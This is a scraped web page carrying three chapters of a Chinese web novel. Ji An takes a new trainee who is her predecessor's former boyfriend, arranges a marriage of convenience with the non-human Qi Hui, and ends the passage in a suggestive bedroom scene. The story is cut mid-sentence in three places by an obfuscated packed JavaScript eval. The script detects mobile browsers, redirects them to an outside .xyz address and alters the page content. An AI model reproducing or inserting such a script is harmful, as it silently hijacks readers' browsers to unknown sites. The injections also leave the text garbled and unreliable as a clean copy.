愤怒显而易见。祁洄戳着面前的生鱼片,声音低了些,“他害我,你为什么要生气?” “怎么能不生气?”纪安失笑,有些难以理解,“我好不容易才把你救回来,你比他重要多了——再说,看到美人受伤,生气不是应当的吗?” 说着,就送来笑吟吟的眼神。 祁洄看她,知道她又开始了调侃。 谈话间,外边忽然一阵噼里啪啦。纪安的笑容顿时收住了。小安从阳台进来,抖了抖身上的水,问:“姐姐,外边下雨了,你还去上班吗?” “……去,”纪安揉了揉眉心,咬了片面包就上楼了,“拉好雨棚,别让薰衣草给打坏了。” “我已经拉上了。”小安回,语气很有些骄傲。 纪安再下楼时,祁洄就见她戴上了一个口罩。这下,她浑身上下,只能瞧见镜片后的一双眼睛了。 “我走了,在家好好听话。”纪安照常嘱咐祁洄,就打着伞去院子,开车出去了。 祁洄拉开窗帘,推开玻璃窗,看到外边的景象后,瞳孔微睁。天上像破了个洞,绵密的水密密麻麻不断倾泻而下。氤氲的水汽,缭绕升腾,充满了整个世界。相似的场景,使他一时恍惚,误以为回到了家乡。 儿时的回忆在这一刻纷至沓来—— “爸爸,还要多久才能找到妈妈?” “很快了——克维乖,好好照顾弟弟妹妹——爸爸一定把妈妈带回来。” “可是……其他人说,是妈妈不要我们了。” “听他们放屁——就算,就算她不要我了,也还会要你们的——” “爸爸,你别难过,我会照顾好弟弟妹妹们的。” 想到这,祁洄的眼眸就暗了暗。他并没有完成对父亲的承诺。他把尼亚、希罗、兰奇都弄丢了。 他们,现在都在哪? 祁洄闭眼,数不清是多少次开启了“共享视界”。这是他们一族的联络方式,可以在一定范围内接收到对方的声光信号。但一如既往,他的信号无人回应。 这种结果只有两种可能:要么他们离他太远了;要么他们都不在了…… 第二种可能他不敢细思。 *** 冒着大雨,纪安到了管控所。刚进值班室,赵莉就红光满面地跑进来,兴奋地尖叫:“纪安!有帅哥来了!快走!我带你去看!” “我没兴趣。”纪安脱下雨衣,只顾着拿毛巾擦掉衣服上沾到的雨珠。 “看了你就有兴趣了!”赵莉热情不减,兴冲冲地推着纪安出去,“真的超帅!你不看绝对会后悔的!” 抵挡不住,纪安没办法,只能任由赵莉拉着。是在隔壁的饭堂。现在是饭点,里面人头攒动,热热闹闹的。赵莉拨开人群,拉着她去了二楼,挑了个绝佳观看位,指给她看:“喏!坐柱子边那个!” 那是个比较高瘦的男人,蓄着中长发,尾端扎了个小辫子。穿着清缴队的队服,看肩章,是今年刚进的新人。或许注意到这边的视线,他抬头,看了过来。 是一张认识的脸。 纪安心口一沉,脑门突突的,有些头疼。 “我都打听过了,”赵莉在她耳边说着情报,“他叫高旭,今年二十五,单身,以前是画画的,突然不知道为什么,改行进管控所了。帅是帅的,不过我看过他的作战成绩了,不太行。但这不影响,人好看就行了——嚯,他怎么好像一直瞪着我们,他生气了?” “他在瞪我。”纪安转身走。 赵莉一愣,追了出去:“你认识他?” 纪安理了理他们之间的关系:“算是……前男友。” “啊?”赵莉瞪大眼睛,“这么帅,干嘛分手?他干啥了?” 纪安摇头,默然不语。 因为,真正的“纪安”,已经死了。 下午,出了份工作通知。是关于上回章所长提到的搜查行动,人员名单与派遣地点已经出来了。 搜查行动是将不同队伍的人员编排成一组,分别派往各个区域驻扎,展开对当地生物的调查工作。每当爆发严重畸变物事件后,都会进行这一项行动。纪安已经参与过几回了,每次时间不定,短的有四五个月,长的能达两年。 纪安打开自己所在的小组名单,第一眼就看到了森礼的名字。她也在,还是本次行动的组长。接着就扫到了高旭的名字。抓着纸默默坐了会,纪安叹口气,实在不知道该拿他怎么办。 高旭和“纪安”在首都相识,一个是出入危险场所的清缴员,一个是孤僻敏感的艺术家。八竿子打不着的两个人,在一次畸变物爆发后的搜救行动中,意外相识,并陷入爱河,交往了三年。直到后来,“纪安”死去,被顶替。 为了不被识破,回到人类世界后,纪安所做的第一件事就是找了个理由,跟高旭分手。好在他们原本就有矛盾,经常吵架,分分合合多次。纪安提出分手的时候,高旭只红着眼睛,平静地答应了。之后她就离开首都,来到新北市,两人再无交集。 这次,高旭突然加入清缴队,也跟着到了新北市。恐怕就是为她而来的。 纪安揉了揉太阳穴,她得尽可能地避开他。他对真正的“纪安”如此熟悉,就算她再怎么努力伪装,也不可能做到毫无破绽。 前一秒还想着避开的事,下一秒就收到了一条信息。森礼发来的,小组集合,开个会议。一旦和工作掺和上,要想没有交集还是困难的。 到场的基本都是熟面孔。纪安到的时候,森礼已经在了,低头看着她那本厚厚的百科全书。赵莉第二个到,进来后就一屁股坐到她旁边;跟着进来的是看管队的王玲和赵河,他们是夫妻,有什么工作总要求同行,恩爱有加,经常被同事戏称为连体婴。 高旭来得最晚。作为新人,这次行动他主要以学习为主。他挑了个空位坐下,就在纪安的正对面,不过倒是没拿眼睛看她,偏过头,去看墙壁上的宣告栏。 赵莉拿手肘悄悄捅了捅纪安,张着嘴型小声说:“嘿!又碰上啦!” 等人都到齐了,森礼才抬起头,发放手边的工作资料,声音冷淡,“自己看。”说完又埋头看书了。 发放的是关于调查区域的资料大全,包括地形地貌、生物种类、还有相关区域划分等等。纪安翻开,才知道他们要去的是新北市永明岛。 这是私人岛屿,也是洪氏酒业厂房所在地。 会议室里是纸张翻动的哗哗声。过了会,大家都基本看完了。森礼就站起,夹起她的百科全书,留下一句“会议结束”就离开了。 “这就结束了?还什么都没说!”赵莉大为震惊。 赵河小声抱怨:“她看起来,很不好相处。” 王玲则抖着时间表,跟赵河说:“预估要去一年!太久了,得带上妮妮他们。” 听到他们的对话,纪安就想起了祁洄。得离开一年,要怎么安排他…… “纪前辈。” 其他人陆续离开后,高旭忽然开口。 纪安看向他。正要离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150113|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的赵莉也瞬间两眼放光,重新把屁股放回椅子上,装模作样地整理起资料,实则竖起耳朵准备听八卦。 “纪前辈,”他彬彬有礼地递来一张纸,“上面指定的,您得做我的个人导师。” 纪安低头,赵莉也伸长脖子来看。那是高旭的入职通知,上面导师一栏,赫然写着纪安的名字,并盖上了公章。管控所里,每个刚入职的新人,都会安排一位资历深的前辈带领。 “以后还请多多指教。”他嘴里说着礼貌的话,望过来的眼神却不是,带着恨,带着……委屈。 没给纪安说话的机会,深深地看了她一眼,高旭就插着口袋走了。 “啧啧,这是要继续跟你纠缠的意思了。”赵莉总结道。 纪安掏出手机,也收到了指导新人的通知。他果然是冲着她来的。 下班后,外面还在下雨。雨点打在车身,叮叮当当劈啪作响,嘈杂得很,使纪安的心情更添一层阴霾。 回到家,隔着老远,就看到院子里,祁洄撑着伞,在雨中来回走着。小安则裹着雨衣,焦急地在他前后左右转来转去,看样子,是在阻止他。 车灯打去,惊起雨中飞舞的白点。 小安看到纪安的车,瞬间挺直腰板,愤愤不平地冲着祁洄说:“姐姐回来了,她会收拾你的!” 纪安驱车进院,车轮溅起水花。停住,透过车窗,看向祁洄。他的脸,他的手,都裸露在外,只靠一把伞遮挡。危险的雨丝与他擦身而过,他却浑然不觉,甚至还微仰着头,去凝望空中飘落的雨。 戴好口罩和帽子,纪安才撑伞下来。 小安气鼓鼓:“姐姐,我已经阻止过他了。我说下雨不能出去,但他就是不听,我说什么他都不听!” 听着小安对自己的控诉,祁洄看向纪安,她也望了过来,面罩挡住了她的表情,只留一双看不透的漆黑眼睛,凝望着他。 随后,她转身进去,并说:“进来。” 从未听过的语气,似乎有点怒意。祁洄顿了下,就上了台阶。收伞的时候,雨珠随着伞面倾斜而下,滴落在他耳后,顺着脖子淌到锁骨。 进了屋子,一对薄而透明的异耳就冒了出来。小安连忙开了防窥模式,然后去擦地面的水。 纪安背对着祁洄,一边擦身,一边望着窗外的雨,好一会,问,“雨很好看?” 祁洄揭下破损的面具,轻声:“嗯。” 窗外的雨连绵不绝,如同密不透风的罗网,缠绕不休,要将她捕获,要逼她现出原形。 “哪里好看了……”纪安低语。 擦完身,将毛巾交给小安,才转向祁洄,眼睛在他那对特殊的耳朵上来回打量,最后用温和但命令的口吻说:“以后不要到雨里去。” 重新制作了面具,纪安给他戴好,就说起自己的决定:“过几天我要去永明岛,到时候你跟我一起走。” 她可不敢把他留下,以他的性格,指不定要闹出多少事…… 祁洄对此没有任何意见。 他本来就是要留在她身边的。 永明岛属于私人岛屿,非洪氏酒业内部人员不得进入。听说这次管控所提出登岛调查的要求时,还曾被洪氏兄弟拒绝过一次。后来实在抵抗不过官方的强制命令,他们才勉强同意的。 纪安提交了祁洄的资料,录入随行人员名单,上报给单位批准。但不到一个小时,申请就被打了回来。 给出的理由是洪家兄弟只允许调查组登岛,可以携带家属,而其余无关人士则不准入内。祁洄的身份正属于无关人士这一范围。 家属。 纪安看着两人的身份证,兄弟姐妹明显没有可能,唯一能操作的途径则是…… “我们需要暂时结个婚。” 纪安走到祁洄面前,直言。 14. 第14章-已修 “岛上有规定,无关人士不能进入。”纪安把单位打回的通知单递到祁洄面前,指着上面的字跟他说。 祁洄看了眼纸,再看向纪安,神色不解。 “只有结婚了,你才能作为我的家属去永明岛,”纪安继续解释,“如果不这样,你就去不了,得一个人留在这里了。能明白吗?” 祁洄略点了点头。 “那你想留下?”纪安给他选择,“还是跟我走?” “跟你。”他没有犹豫。 “好,”纪安看着他眼睛,“那明天我带你去结婚?” 还是询问的口吻。祁洄看她,她认真地在等待着他的答案。以往,有任何安排,她都是直接下命令,从来没有问过他的意见,或者,是无视了他的意见。 这回却有所不同。不过他还不清楚这种不同为何而来,也不清楚这个回复有何特殊之处。 “同意吗?”纪安又问。 祁洄没有迟疑,点了点头。 他应得干脆。纪安倒有些意外,但也没细思:“好,我们明天领证——这只是权宜之计,回来还能离。” 第二天,下了整日的雨已经停了。被乌云遮盖的暖阳回到原本的位置,散着它无私的温热,将阴湿的水渍彻底炙干,为他们的出行铺出一条安全的路。 “今天天气真好。”纪安开车,感受斜射而来的阳光的暖意,跟副座的祁洄说,或者,是在跟自己说。 车子去往市中心民政局的方向。 祁洄望向窗外,打量这一路的行人。抵达目的地时,他能明显感觉到这里的人和前边的人有所不同。他们的着装更加崭新、鲜艳,装饰着很多亮闪的东西;几乎每人,脸上也都挂着笑容,男男女女手挽着手,嬉笑打闹,似乎都怀揣着同一桩快乐的事。 “到了。”纪安提醒,带祁洄下车。 当被纪安领着加入那群人之后,祁洄就觉得有些格格不入了。他留心观察了一会,才找到产生这种感觉的原因:打扮、笑容、距离。 与那些行人不同,他们的穿着并不鲜艳。纪安仍旧是固有的打扮,从帽子到鞋面,全身上下黑沉沉的,就像在路边看到的黑色灯杆。他的着装也出自纪安的手笔,自然按着她的风格,也被包装成同款灯杆,黑沉的,暗淡的,疏离的,与旁人的明媚、光鲜、温情大不相同。 再次,是笑容。祁洄侧头,去看纪安的脸,她虽然也笑着,但是她的笑容,与别人的笑容,是完全不一样的。具体哪里不一样,他却说不上来。 最后,是两人之间的距离。他们并排走着,肩膀与肩膀隔着两个拳头的宽度,不像别人那样紧紧挨着。如果不是纪安刻意放慢脚步照顾他的速度,他们之间的距离只会更加地远。 他们不在这群快乐的人的领域之内。 因此格格不入。 正想着,纪安忽然伸手来拦,迫使祁洄停下脚步。她笑说:“想什么这么入神?要撞到柱子了。” 被打断,祁洄才回过神来,看到了面前仅仅离他一臂距离的石柱。手腕被拉起,纪安带他绕开,调侃道:“你似乎有点呆……会让人情不自禁想欺负你。” 她的话语跟着笑容一并送来,十分自然地消除了他们之间的距离。祁洄模糊地察觉到,他们似乎融入了群体,在这个瞬间。 …… 纪安带祁洄拍完照片,就去登记台领取表格。她包揽了所有填写工作,到了末尾,需要两个人的签名。 习惯性要帮祁洄填上时,笔头却是一顿,纪安想了想,就把表格推到祁洄面前,点着空白处,跟他说:“在这里写下你的名字。” 祁洄抬头看来,像是有些不理解。 “还是你自己写比较好。”纪安给他做示范,在横线处写下“纪安”二字,再把笔递给他,指着自己的签名,“像我这样,写你的名字。” 签字笔塞到手中,祁洄握住,他握得并不规范。纪安看着他生疏地摆弄,四指抓着笔身,大拇指再搭上去,攥了个拳头,笔就在拳心,像刚开始练习写字的孩童的握法。 他不会写字? 纪安看着他毫无章法的动作,心中有了猜测,刚想说算了,就看到他保持着那个奇怪的握笔姿势,开始在纸上写起来了。 所以是会写的? 纪安好奇,止住了帮他的念头,探头过去,仔细看他如何写。 他起笔落了一个点,位置有些高,再划下一横,一折,动作迟钝,还显得吃力。写下的所有构件七零八落,四处分散,各不相干。初看根本不知道写的是个什么东西,直到所有的笔划完整地出现在纸上。 纪安稍退一步,将那些远得几乎要“自立为字”的横折撇捺组合起来看,才发现他写的是“祁洄”二字。 当即有些哭笑不得,她实在不忍心告诉他,他费尽力气好不容易完成的两个字是无用的。 “……写得挺好的,”纪安先昧着良心夸了一句,才拿过新的表格给他,并把许复的身份证放到他面前,指着上面两个字说,“不过,你的名字是这个,得重新写了。” 祁洄皱眉,沉默地看着“许复”两个字,凝了好一会,审视的目光仿佛把那些笔划全都拆开了,并好好研究了一通。但最后,他搁下了笔,没有要写的打算。 纪安琢磨着他的表情,再联系那一手比学前儿童还要逊色的字迹,猜出了答案:“你不会写这两个字?” 祁洄眼睫一眨,没有否认。 纪安低声笑了下,抓住他的手,再屈起他几根手指,使它们搭配协调,共同合作,固定住掌中的笔。纪安将手掌覆在祁洄的手背,引着他去写:“我教你。” 粗糙的手套包裹着他的手,暖烘烘的体温隔着布料,传递到他的皮肤上。祁洄盯着纪安的侧脸,有些发怔,总觉得这个画面似曾相识。 “笔要这样握,”纪安带着他一笔一划地写,“一个字就是一个整体,写的时候不要分太开……你刚刚的字就有这个问题……” 祁洄完全没有用力。他的手虽然生得修长,骨节分明,透着与他本人相似的冷淡疏远的气质,但却是软绵绵的,全程被纪安带着走,乖顺得如他笔下的字迹,青涩、单纯、稚气。 这两种截然不同的气质在他身上融合统一,最后反映在他的行为上:有时会竖起尖刺主动攻击他人;有时又毫无防备地敞开自己,勾起他人的施虐欲。 真的有点呆。纪安偏头望他,与他对上视线,笑了笑又移开,握着的手指用力,把他抓紧,写下最后一捺。 结束后,相叠的手松开,带走各自的温度。 纪安拿过表格,填起其他信息,写着写着,想起他手腕处同样歪七扭八的刻字,就突发奇想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150114|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你该不会只知道写自己的名字吧?” 闻言,祁洄一愣神,不知想起什么,拿起笔来,仿佛是要反驳她,亦或是证明自己。他仍旧用自己原本的手势,在纸上认真地写了起来。 纪安疑惑,凑近看,虽然笔迹仍旧青涩,但落笔走势比之前要熟练得多,像是练过很多回了。等了片刻,看到纸上新鲜出炉的两个字,纪安却是变了脸色。 他写的是——祁暄。 “……这是谁?”纪安看着那两个字,问。 祁洄低头,默然,对着纸上两个字发怔,两眼忽地濛濛。许久,他摇了摇头,茫然低语:“……不知道。” …… “暄暄,你不记得我了?” “为什么叫我暄暄?” “你同意我这么叫的。” “你知道我是谁?” “当然了,你叫祁暄,我叫沈念安。我们是同桌。” “我怎么什么都想不起来……” “怎么会……祁阿姨呢?她是你的妈妈,你总说她最爱你了……有没有印象?” “没有。” “……刚开学的时候,我晕倒了,是你背我去医务室的,老师还表扬你了,我妈妈也请你到家里去吃饭……记得吗……我们一起种花一起写作业……也不记得了?” “不记得。” …… 久远的记忆拨开厚重的灰尘,回到她心间。纪安不由伸手,在“祁暄”两个字上轻柔抚过,停留一会,就望向祁洄,低喃:“也许,我们以前就认识了。” 他没在听,还凝望着纸上的字。 纪安去提交表格。刚走开一步,衣角就被牵住,回头去看,是祁洄,眼睛对着纸发怔,口中却不知在向谁喃喃发问:“……我有没有进步?” 与先前所写的“祁洄”二字相比,确实是进步许多。纪安弯了弯嘴角:“当然。” *** 领完证书,纪安开车载着祁洄返程。 祁洄摆弄着刚收到的红色本子,翻开封面,是他和她的照片。不,不对,不是他。照片上的人是虚假的面孔,不是真实的他自己。没有实感,他不觉得这张照片与自己有什么关联。 看了两眼,就失去兴趣,祁洄转向窗外。依旧是那些手挽手,亲密相贴的行人。 红灯亮起,车子停住,在马路上驻留片刻。这时,祁洄旁边的人行道上,有两个相贴坐在户外椅上的人,突然就抱到一块,嘴对嘴火热地亲了起来。 祁洄猛地扭回脸。 纪安被他突然的动作引去目光,就跟着看到了窗外的情况,愣了一秒,视线再转,看向祁洄。他沉着脸,很有些厌烦。 红灯过去,纪安启动车子。那对拥吻的男女被遥遥甩到车后,渐渐望不到了。但祁洄却不再转头看窗外了,颇像是被方才的事嗐住了,生怕再碰到同样的。 他似乎对嘴巴反应过度。 纪安想起前几回发生的事:喂他金鳞却被咬、夸他嘴巴好看反而惹他生气,更别说那天只是拿手指碰了下就恼羞成怒的…… 过去的细节,如今回想,纪安才隐隐发觉:他大概很讨厌别人碰他的嘴巴,甚至仅仅是观看、谈论。 “之前我不知道,”纪安忽然开口,“以后不会了。” 祁洄望来,却是一头雾水。 15. 第15章-已修 取得结婚证后,纪安重新提交申请,就获得了批准,开始着手准备后天登岛的事务。 不过,她更关心另外一桩事——祁洄与祁暄。 起初看到名字,以为只是恰好同姓的两个人,现在看来,两者之间或许存在什么渊源。 纪安翻开祁家的资料档案。她特意从首都管控所调到新北市,就是为了查明真相,找出畸变原因。 这几年来,她循着沈念安告诉她的名字线索,抽丝剥茧,明察暗访,但由于红阳村经过一次畸变物爆发事故,大多数人死的死,伤的伤,要找到对祁家母女有所了解的人就困难许多,能收集到的信息也就更加少了。 翻了一圈,从目前掌握的信息来看,祁洄这两个字并未出现在任何一个与祁家有所关联的人的资料中。 祁洄、祁暄……会是亲属么? 纪安猜测着,又立马否定,资料表明祁红琴只有独女祁暄,沈念安也说她只有妈妈一个亲人,说法是吻合的。不是亲属,又是什么关系? 纪安按了按太阳穴,如果他没有失忆就好了。 *** “这个,这个,还有这个,”小安抱着一大摞册子,堆到书桌上,“这些,通通都是你要完成的任务。今天,就先写完这几本吧。”说着抽出最基础的笔划临摹册,摆到祁洄面前。 自从纪安发现祁洄是个文盲之后,就给他安排上了识字课程。小安自然就成了监工,负责执行纪安规划好的一系列任务。 对于识字的要求,祁洄接受良好,不会像吃饭那样产生抵抗的情绪,反而是令人意外的主动。自己抓了笔,就摊开册子研究起来了。 促使他行动的,是来自心底模糊的确信。确信,如果学会更多的字,他将获得某个渴望已久的奖励。 第一次看到祁洄这么配合自己的工作,小安受宠若惊,差点留下感动的泪水,立马给远在管控所的纪安发去信息:姐姐!他好听话!他在认真用功! 纪安笑回:是吗?那可以夸夸他。 “你很听话,姐姐很满意。”小安忠实地转述纪安的话,“她让我夸你。” 祁洄只抽空投来一眼,对他干瘪的夸奖没有任何兴趣。 站在旁边看了一会,见祁洄全神贯注的模样,知道不会偷懒了,小安就走开,去隔壁看电视剧了。 横横竖竖写满整本后,祁洄就去抽第二本。翻开一看,却和前面的不一样,没有临摹的地方,都是密密麻麻的字,配了好些图片,各种动物、植物的;祁洄一页页翻,翻到中间,表情瞬变。 上面印着两个男人的图像。一个眉头长了粒大痦子;一个鼻翼钉了枚金环。 虽然和记忆中比起来,老了许多。但祁洄还是一眼认出了——两个强盗! 他的亲族就是被他们夺走的。 抓了书,出去,找到小安,指着照片:“他们在哪?” “啊?”小安电视看到正精彩处,被祁洄一打断,有些发懵。 “他们在哪?”祁洄重复,眼里淬着冷光。 看清他手里拿的东西后,小安一拍自己脑门:“啊,这是姐姐的工作资料,我给混进去了。” “他们在哪?” “你问这两个男的?”小安终于回他,“这是永明岛的岛主,当然是在永明岛上了。” 永明岛…… “就是姐姐后天要去的地方,她也会带你去。”解释完,小安连忙拿回那份资料,给纪安送回房间去。 后天。也就是说,他很快就能报仇了…… 只是…… 想起现实,祁洄不得不冷静下来,摸向脖侧,他的气味腺还没有彻底恢复。 随着复发的速度减缓,吃金鳞的时间间隔也越来越长。按照这样的速度,找到那对强盗之时,恐怕他还没有足够的力量去对付他们。 他等不起了。 得尽快从她身上取得金鳞。 但并不容易。她总把那个香袋挂在脖颈,贴身携带,从不离身;而且,她的力量很强。回想起前几次的尝试,以及后来的结果,祁洄不得不承认,现在的他,根本不能赢她。 该怎么做? 直说? 这个想法一出现,祁洄愣了愣,又匆匆忙将它掐灭了。 他还无法准确判断纪安的目的。 尽管……她对他,似乎很好。 思索的内容,在无意中,就已悄然转换。祁洄怔怔地出了神,不由回忆起纪安待他的种种行迹。 虽然,有时候很粗鲁,但,更多时候,都是温和的、偏袒的,甚至,总是以保护者的姿态护在他身前。他又想起那天,她血淋淋的样子……直到现在,他仍然无法理解。 向来就没有无缘无故的好。她因着什么,要对他好……必然存在一个原因,一个目的。 不能信任。 祁洄捏紧了手,将走歪的思路强制引回。 “你要接着写哦,姐姐会检查的。”小安放好资料又回来了,提醒一声祁洄,就窝到沙发上继续看刚才的电视。 祁洄正要走,无意中扫到一眼屏幕,画面里是一男一女在激烈的拉扯,好奇,就停下看了眼。 只见女方嬉笑着撕扯男方的衣服说:“我要跟你睡。”男方则涨红脸扭扭捏捏,嗫喏着说:“不,不行。”女方把他推到床上:“都结婚了还不让睡!”男方抵抗不过,被压倒,他惊呼一声,护着的衣服就被撕烂了。 祁洄看得迷茫,镜头的视角在这时转变,不拍床,改拍地板。一会,两人乱七八糟的衣服都被扔了下来。 还没等他看明白,画面又变化。镜头移到窗外,对准了天上的月亮。好一会,还是月亮。 困惑更甚。就在祁洄快要失去耐心时,镜头终于转了回来。明明方才堪比仇敌、还在激烈动手的两个人,现在却都裸着肩头,和平地躺在一起睡着。 “他们在干什么?”祁洄一头雾水。 “睡觉啊。”小安回。 “睡觉?”祁洄不解,“他们睡觉为什么脱衣服?” “他们结婚了嘛,”小安炫耀起自己观看多年积累下的丰富经验,“其实这是一种比较常见的暗示手法……” 结婚?一个耳熟的词汇。是了,在她口中,曾出现过。祁洄想起来,他与她,也结婚了。 “虽然表面是睡觉,但实际还有些别的内容,”小安还在滔滔不绝,“只是因为一些原因,不能拍摄得太直白,所以就用这种方式替代,反正观众也都能看明白……哦,你看不明白……” 祁洄一面模模糊糊听着,一面又望向电视屏幕,打量起里面那两个人,目光在接触到女方脖间挂着的大金链子后,就倏然顿住了。 懵懵懂懂的,他好像找到了方法。 外面传来车鸣声。小安马上站起,开门去院子迎接:“是姐姐回——你是谁?” 来人不是纪安。 祁洄到门口,就见院子外停了辆陌生的车。车窗缓缓摇下,里面坐着一个陌生男子,转头,面无表情地望了过来。 “你是谁?”小安警惕起来,“有什么事?” 高旭不言不语,只拿眼睛意味深长地打量着祁洄,一会,嘴角扯出一个嘲讽的冷笑。 后面又有车声传来。看到熟悉的车子,小安就像见到了救星,大老远的朝纪安挥手。 注意到前方的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14150115|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌号,纪安就知道里面是谁了。驱车上前,与高旭并排着,循着他的视线看了眼祁洄,转过来,问:“你来做什么?” “我说呢,怎么走得这么决绝,原来……”高旭转头盯向纪安,皮笑肉不笑,“……是有了新欢。” “……” 见纪安没有要解释的意思,高旭眼眶一红,扭回头,闷声关上车窗,脚下狠狠一踩,车就窜远了。 “姐姐,他是谁?”小安疑惑。 “以前的熟人,没什么事,”纪安答道,进了屋,转问祁洄,“他没对你怎样吧?” “没有,”小安抢答,“我都好好盯着呢!” “很好。”纪安笑着揉揉小安的头发。揉着揉着,想起心头的疑惑,就伸手向祁洄,在他困惑的眼神中取走一根发丝。她还是很在意两人之间的关系。 “我晚上不吃了,不用准备我的份。” “好。” 纪安取了头发就直接去了密室,捣鼓到深夜才出来。最终的检测结果也表明,两人之间并无亲缘关系。 好不容易等到天黑,等到纪安忙完工作,祁洄才缓步走到她门口。门没关,她正坐在桌边看资料。 祁洄一出现在门外,纪安就注意到了。望过去,他没说话,就杵在那里,眼睛倒是一直看着她。像是要找她,又像是仅仅路过而已。 不觉有些好笑,起身过去:“找我……” “我要跟你睡。” “……” 纪安难得宕机,被祁洄突如其来的话给砸了个懵。空气骤然凝固,足足静了一分钟,她才勉强找回自己的思绪,偏头看向对门的房间,问:“你的床坏了?” 祁洄摇头,只看着她:“我们不是结婚了?” 声音落地,纪安又静了,凝向他眼睛,来回细瞧着,清醒、理智、沉静,不像是迷糊发昏的样子。 良久,反问:“你要跟我睡?” 他点头。 纪安退开半步,上下打量起他来。他穿着单薄的睡衣,刚洗完澡,身体还残留着暖烘烘的热流,露出的脖颈、肩锁骨,也白里透红,是被湿热的水汽细细蒸出来的。 “确定?” 他又点头。 默了半晌,纪安彻底退开,让出门口的通道,朝里间的床努了努下巴,低道:“行,上去。” 说完站在一边,等他进来。祁洄挪步,慢慢走,走到床边时,纪安就锁上门,又啪嗒一声,关了电灯。 幽暗的室内只剩满地月光。 见他还站着不动,纪安掀开被子,指了指床,语气很稀疏平常,“躺上去。” 过了会,祁洄才靠着床沿,躺下。房内寂静无声,只有纪安摘下眼镜,搁在桌面的轻响。随后床往下陷了一点,她也躺了上来。 “睡吧,晚安。”她说。 然后就没有动静了。 祁洄睁着眼,等了好一会,也没有动静。 困惑涌上他的眸底,他偏头,去看隔壁的纪安。她枕着自己手臂,双眼闭着,呼吸平稳,好像已经进入了睡乡。 “不是这样。”祁洄说。 眼睫一动,纪安睁眼,转过脸,也看向祁洄。窗户在他那边,月光也在他那边。他整个人沐浴在柔冷的光里,纯洁,乖顺,仿佛是要将自己献祭。 “不是这样。”他认真又懵懂地重复。 纪安手肘一撑,坐起身,卷走了被子。失去覆盖,祁洄的身体就出现在纯白的床单上。 低头俯视,纪安凝目躺着的人。审视了一番,她忽地伸手,勾住他睡衣的纽扣,轻巧一拨,解开了来。 她目光沉沉,望进他眼睛,“是这样?”